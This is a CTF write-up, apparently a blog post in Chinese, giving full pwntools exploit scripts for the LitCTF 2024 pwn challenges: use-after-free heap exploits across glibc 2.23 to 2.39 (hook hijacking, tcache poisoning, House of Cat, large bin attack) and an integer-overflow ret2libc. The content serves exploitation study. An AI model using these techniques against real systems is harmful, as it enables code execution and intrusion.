[Litctf 2024] Pwn WP 全部题目

7 篇文章 0 订阅

前言

比赛时边打游戏边写题,最后一分钟把ATM写了,2.39的堆是之后复现的。

难度对于新生来说确实可能高了点,但是感觉还行,题目没啥限制,主要考点是不同版本下 Libc 的打法。

Heap 2.23

注:Heap 除了2.29都是一样的代码,无非就是Libc版本不同。所有题目的漏洞都是UAF。因此我一笔带过。

思路

劫持 __malloc_hook 打 one_gadget 。使用 realloc 调整栈帧。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.23', False, 'node2.anna.nssctf.cn', 28547)
init_env(1, 'info')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.23-11.3/libc-2.23.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(1, 0x10)
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = libc_base + one_gadget[3]
show_addr('libc_base', libc_base)
show_addr('free_hook', malloc_hook)
show_addr('one_gadget', one_gadget)
show_addr('malloc_hook - 0x23', malloc_hook - 0x23)

add(7, 0x480)
add(2, 0x60)
free(2)

edit(2, p64(malloc_hook - 0x23))
add(3, 0x60)
add(4, 0x60)
edit(4, b'\x00' * 0xb + p64(one_gadget) + p64(realloc + 6))
add(5, 0x10)

io.interactive()

Heap 2.27

思路

由于多了 Tcache,比 Fastbin 利用起来还方便,直接暴力劫持 __free_hook。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.27', False, 'node2.anna.nssctf.cn', 28835)
init_env(1, 'info')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.27-1.6/libc-2.27.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(1, 0x10)
add(8, 0x10)
edit(8, b'/bin/sh\x00')
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x3ebca0
show_addr('libc_base', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(9, 0x480)
add(2, 0x10)
free(2)
edit(2, p64(free_hook))
add(3, 0x10)
add(4, 0x10)
edit(4, p64(system))

free(8)

io.interactive()

Heap 2.31 (__free_hook)

思路

2.31 新增了 Tcache Bin Count 检测,程序会检测 mp_.tcache_count ,如果数量不对则会报错退出
解决办法也很简单 使用 Double Free 或者再申请一个即可。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.31', False, 'node1.anna.nssctf.cn', 28504)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.31-9.15/libc-2.31.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(1, 0x10)
add(6, 0x10)
edit(6, b'/bin/sh\x00')
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x1ecbe0
show_addr('libc_base', libc_base)

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(9, 0x480)

add(2, 0x50)
add(3, 0x50)
free(2)
edit(2, p64(0))
free(2)

edit(2, p64(free_hook))
add(4, 0x50)
add(5, 0x50)
edit(5, p64(system))

free(6)

io.interactive()

Heap 2.31 (House of Cat)

思路

打 House of Cat,劫持 _IO_list_all 结构体的 chain 刷新伪造的IO结构体来GetShell。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.31', True, 'node2.anna.nssctf.cn', 28547)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.31-9.15/libc-2.31.so')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(9, 0x10)
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x1ecbe0
system = libc_base + libc.sym['system']

show_addr('libc_base', libc_base)

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']
io_list_all = libc_base + libc.sym['_IO_list_all']
show_addr('fake_io_addr', fake_io_addr)

add(6, 0x480)

free(9)
edit(9, b'A' * 8)
show(9)

io.recvuntil(b'A' * 8)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0xa

add(10, 0x10)

add(2, 0x120)
add(3, 0x120)
free(2)
edit(2, p64(0))
free(2)

Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(heap_base + 0x9b0 + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(heap_base + 0x9b0 + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(heap_base + 0x9b0 + 0x40)

FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(heap_base + 0x9b0)
FakeIOFS.chain = p64(heap_base + 0x9b0)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)

edit(2, p64(io_list_all))
add(4, 0x120)
add(5, 0x120)

debug(io)
edit(5, FakeIOFS)
add(8, 0x120)
edit(8, Fake_IO_File_Structure)

print(f"[*] Len: {hex(len(Fake_IO_File_Structure))}")

io.sendlineafter(b'>>', b'5')

io.interactive()

Heap 2.35 (House of Cat)

思路

同上,只不过多了 Tcache Key 检测而已,直接泄露位移即可,甚至更方便构造结构体了。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.35', True, 'node3.anna.nssctf.cn', 28755)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35-3.7/libc.so.6')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x480)
add(9, 0x10)
free(0)
show(0)

libc_base = leak_addr(2, io) - 0x21ace0
system = libc_base + libc.sym['system']

show_addr('libc_base', libc_base)

fake_io_addr = libc_base + libc.sym['_IO_2_1_stderr_']
io_list_all = libc_base + libc.sym['_IO_list_all']
show_addr('fake_io_addr', fake_io_addr)

add(6, 0x480)

free(9)
show(9)

io.recvuntil(b'content : ')
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
heap_key = heap_base >> 12
print(hex(heap_key))

add(10, 0x10)

add(2, 0x120)
add(3, 0x120)
free(2)
edit(2, p64(0))
free(2)

Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(heap_base + 0x9b0 + 0x120 - 0xa0)          # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(heap_base + 0x9b0 + 0x30)                       # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(heap_base + 0x9b0 + 0x40)

FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(heap_base + 0x9b0)
FakeIOFS.chain = p64(heap_base + 0x9b0)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)

edit(2, p64(heap_key ^ io_list_all))
add(4, 0x120)
add(5, 0x120)
edit(5, FakeIOFS)
add(8, 0x120)
edit(8, Fake_IO_File_Structure)

print(f"[*] Len: {hex(len(Fake_IO_File_Structure))}")

debug(io)

io.sendlineafter(b'>>', b'5')

io.interactive()

Heap 2.39 (House of Cat)

思路

唯一的限制就是限制了只能申请 Large Bin。
通过使用 Large Bin Attack 劫持 _IO_list_all 然后打 House of Cat 即可 GetShell 。

EXP

from PwnModules import *

io, elf = get_utils('./heap_2.39', True, 'node3.anna.nssctf.cn', 28755)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.39-8/libc.so.6')


def add(idx, size):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'size? ', str(size))


def free(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'idx? ', str(idx))


def show(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b'idx? ', str(idx))


def edit(idx, content):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b'idx? ', str(idx))
    io.sendlineafter(b'content : ', content)


add(0, 0x450)
add(1, 0x500)
add(2, 0x430)

free(0)

add(3, 0x1000)

show(0)
main_arena = leak_addr(2, io)
libc_base = main_arena - 0x203f20
show_addr('libc_base', libc_base)

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']

edit(0, b'A' * 0x10)
show(0)
io.recvuntil(b'content : ')
io.recvuntil(b'A' * 0x10)

heap_addr = u64(io.recv(6).ljust(8, b'\x00'))
heap_base = heap_addr - 0x20A
show_addr('heap_base', heap_base)

edit(0, p64(main_arena) * 2 + p64(heap_addr) + p64(_IO_list_all - 0x20))

free(2)

add(4, 0x1000)

FakeIoListAddr = heap_base + 0xC00 + 0x10
FakeIoAddr = heap_base + 0x290
show_addr('FakeIoListAddr', FakeIoListAddr)
show_addr('FakeIoAddr', FakeIoAddr)

Fake_IO_File_Structure = IO_FILE_plus_struct()
Fake_IO_File_Structure.flags = b'/bin/sh\x00'
Fake_IO_File_Structure._IO_save_base = p64(1)                                           # RCX
Fake_IO_File_Structure._IO_backup_base = p64(FakeIoAddr + 0x120 - 0xa0)               # mov    rdx, qword ptr [rax + 0x20]
Fake_IO_File_Structure._IO_save_end = p64(system)                                       # call   qword ptr [rax + 0x18]
Fake_IO_File_Structure._wide_data = p64(FakeIoAddr + 0x30)                            # mov    rax, qword ptr [rdi + 0xa0]
Fake_IO_File_Structure._offset = 0
Fake_IO_File_Structure._vtable_offset = 0
Fake_IO_File_Structure._mode = 1
Fake_IO_File_Structure.vtable = p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x30)

Fake_IO_File_Structure = bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure += p64(0) * 6
Fake_IO_File_Structure += p64(FakeIoAddr + 0x40)

FakeIOFS = IO_FILE_plus_struct()
FakeIOFS.flags = p64(FakeIoAddr)
FakeIOFS.chain = p64(FakeIoAddr)
FakeIOFS._mode = 0
FakeIOFS = bytes(FakeIOFS)

add(5, 0x1000)

edit(2, p64(0) * 11 + p64(FakeIoAddr) + p64(0) * 9 + p64(1))
edit(5, Fake_IO_File_Structure)

debug(io)

io.sendlineafter(b'>>', b'5')

io.interactive()

ATM

思路

简单的栈溢出题目,漏洞点位于 deposit
在这里插入图片描述
输入 -1 整数溢出,然后输入 5 来获取 printf 的真实地址,通过这个地址来泄露 Libc,打 ret2libc。

EXP

from PwnModules import *

io, elf = get_utils('./ATM', False, 'node2.anna.nssctf.cn', 28777)
init_env(1, 'debug')
libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35-3.7/libc.so.6')

io.sendlineafter(b'password:\n', b'Decline')

io.sendlineafter(b'4.Exit\n', b'3')
io.sendline(b'-1')

io.sendlineafter(b'4.Exit\n', b'5')

io.recvuntil(b'gift:')
printf_addr = recv_int_addr(io, 14)
show_addr('printf', printf_addr)

aio = libc_search('printf', printf_addr, True)

rdi = 0x401233
ret = 0x40101a

Padding = b'A' * (0x160 + 0x08)
Payload = Padding + p64(ret) + p64(rdi) + p64(aio[2]) + p64(aio[1])

io.send(Payload)

io.interactive()
  • 13
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值